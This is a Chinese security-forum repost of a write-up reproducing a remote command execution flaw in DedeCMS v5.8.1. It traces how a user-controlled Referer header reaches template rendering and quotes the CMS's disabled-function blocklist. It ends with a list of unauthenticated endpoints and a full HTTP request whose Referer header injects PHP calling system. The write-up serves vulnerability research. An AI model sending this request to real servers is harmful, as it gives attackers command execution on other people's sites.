安全矩阵

 找回密码
 立即注册
搜索
查看: 2470|回复: 0

某CMS common.func.php 远程命令执行

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2021-10-5 09:59:57 | 显示全部楼层 |阅读模式
文章来源:原创 PeiQi文库 PeiQi文库
​某CMS common.func.php 远程命令执行






复现过程
原文来自于:
  1. https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html
复制代码




审计的思路非常有意思,跟着文章的思路复现了一遍,环境链接

  1. https://github.com/dedecms/DedeCMS/releases/tag/v5.8.1
复制代码




安装后主页面

查看文件 include/common.func.php ShowMsg方法



  1. function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
  2. {
  3.     if (empty($GLOBALS['cfg_plus_dir'])) {
  4.         $GLOBALS['cfg_plus_dir'] = '..';
  5.     }
  6.     if ($gourl == -1) {
  7.         $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  8.         if ($gourl == "") {
  9.             $gourl = -1;
  10.         }
  11.     }

  12.     $htmlhead = "
  13.     <html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
  14.     <meta http-equiv="Content-Type" content="text/html; charset={dede:global.cfg_soft_lang/}" />
  15.     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
  16.     <meta name="renderer" content="webkit">
  17.     <meta http-equiv="Cache-Control" content="no-siteapp" />
  18.     <link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css" />
  19.     <link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/css/manage.dede.css">
  20.     <base target='_self'/>
  21.     </head>
  22.     <body>
  23.     " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
  24.     <center style="width:450px" class="uk-container">
  25.    
  26.     <div class="uk-card uk-card-small uk-card-default" style="margin-top: 50px;">
  27.         <div class="uk-card-header"  style="height:20px">DedeCMS 提示信息!</div>

  28.     <script>\r\n";
  29.     $htmlfoot = "
  30.     </script>
  31.    
  32.    
  33.     </center>
  34.    
  35.     <script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js"></script>
  36.   <script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js"></script>
  37.     </body>\r\n</html>\r\n";

  38.     $litime = ($limittime == 0 ? 1000 : $limittime);
  39.     $func = '';

  40.     if ($gourl == '-1') {
  41.         if ($limittime == 0) {
  42.             $litime = 3000;
  43.         }

  44.         $gourl = "javascript:history.go(-1);";
  45.     }

  46.     if ($gourl == '' || $onlymsg == 1) {
  47.         $msg = "<script>alert("" . str_replace(""", "“", $msg) . "");</script>";
  48.     } else {
  49.         //当网址为:close::objname 时, 关闭父框架的id=objname元素
  50.         if (preg_match('/close::/', $gourl)) {
  51.             $tgobj = trim(preg_replace('/close::/', '', $gourl));
  52.             $gourl = 'javascript:;';
  53.             $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
  54.         }

  55.         $func .= "var pgo=0;
  56.       function JumpUrl(){
  57.         if(pgo==0){ location='$gourl'; pgo=1; }
  58.       }\r\n";
  59.         $rmsg = $func;
  60.         $rmsg .= "document.write("<div style='height:130px;font-size:10pt;background:#ffffff'><br />");\r\n";
  61.         $rmsg .= "document.write("" . str_replace(""", "“", $msg) . "");\r\n";
  62.         $rmsg .= "document.write("";

  63.         if ($onlymsg == 0) {
  64.             if ($gourl != 'javascript:;' && $gourl != '') {
  65.                 $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
  66.                 $rmsg .= "<br/></div>");\r\n";
  67.                 $rmsg .= "setTimeout('JumpUrl()',$litime);";
  68.             } else {
  69.                 $rmsg .= "<br/></div>");\r\n";
  70.             }
  71.         } else {
  72.             $rmsg .= "<br/><br/></div>");\r\n";
  73.         }
  74.         $msg = $htmlhead . $rmsg . $htmlfoot;
  75.     }
  76.    
  77.     $tpl = new DedeTemplate();
  78.     $tpl->LoadString($msg);
  79.     $tpl->Display();
  80. }

  81. /**
  82. *  获取验证码的session值
  83. *
  84. * @return string
  85. */
复制代码




这里注意到 当 $gourl 变量为 -1 时调用 ShowMsg方法, 则请求参数 Referer 为用户可控参数


像下看,可以发现可控的变量传入两个方法


  1. $tpl = new DedeTemplate();
  2. $tpl->LoadString($msg);
  3. $tpl->Display();
复制代码

​追踪方法来到 include/dedetemplate.class.php 文件


ParseTemplate() 则是模版渲染的方法,再往下看


  1. public function Display()
  2. {
  3.         global $gtmpfile;
  4.         extract($GLOBALS, EXTR_SKIP);
  5.         $this->WriteCache();
  6.         include $this->cacheFile;
  7.     }
复制代码

​追踪一下 WriteCache() 方法


看 GetResult() 方法 和 CheckDisableFunctions() 方法


  1. public function GetResult()
  2. {
  3.         if (!$this->isParse) {
  4.             $this->ParseTemplate();
  5.         }
  6.         $addset = '';
  7.         $addset .= '<' . '?php' . "\r\n" . 'if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); ' . "\r\n" . '$fields = array();' . "\r\n" . '?' . '>';
  8.         return preg_replace("/\?" . ">[ \r\n\t]{0,}<" . "\?php/", "", $addset . $this->sourceString);
  9.     }
复制代码

  1. public function CheckDisabledFunctions($str, &$errmsg = '')
  2. {
  3.         global $cfg_disable_funs;
  4.         $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
  5.         // 模板引擎增加disable_functions
  6.         if (!defined('DEDEDISFUN')) {
  7.             $tokens = token_get_all_nl($str);
  8.             $disabled_functions = explode(',', $cfg_disable_funs);
  9.             foreach ($tokens as $token) {
  10.                 if (is_array($token)) {
  11.                     if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
  12.                         $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
  13.                         return false;
  14.                     }
  15.                 }
  16.             }
  17.         }
  18.         return true;
  19.     }
复制代码

GetResult() 方法执行后返回的结果通过 CheckDisabledFunctions() 方法过滤后 经过Display() 的 include $this->cacheFile;

  1. public function Display()
  2. {
  3.         global $gtmpfile;
  4.         extract($GLOBALS, EXTR_SKIP);
  5.         $this->WriteCache();
  6.         include $this->cacheFile;
  7.     }
复制代码

​此时我们就可以通过控制 Referer请求头,来控制模版的渲染,绕过 CheckDisabledFunctions()方法的过滤 造成远程命令执行


通过正则找到受影响且无需身份认证的文件,来进行命令执行


  1. /plus/flink.php?dopost=save
  2. /plus/users_products.php?oid=1337
  3. /plus/download.php?aid=1337
  4. /plus/showphoto.php?aid=1337
  5. /plus/users-do.php?fmdo=sendMail
  6. /plus/posttocar.php?id=1337
  7. /plus/vote.php?dopost=view
  8. /plus/carbuyaction.php?do=clickout
  9. /plus/recommend.php
  10. ........
复制代码



这里利用没有过滤的双引号绕过 disables 禁止的函数

请求包


  1. GET /plus/flink.php?dopost=save HTTP/1.1
  2. Host:
  3. Accept: */*
  4. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Referer: <?php "system"(ls);?>
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
  9. Connection: close
复制代码

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 19:39 , Processed in 0.013418 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表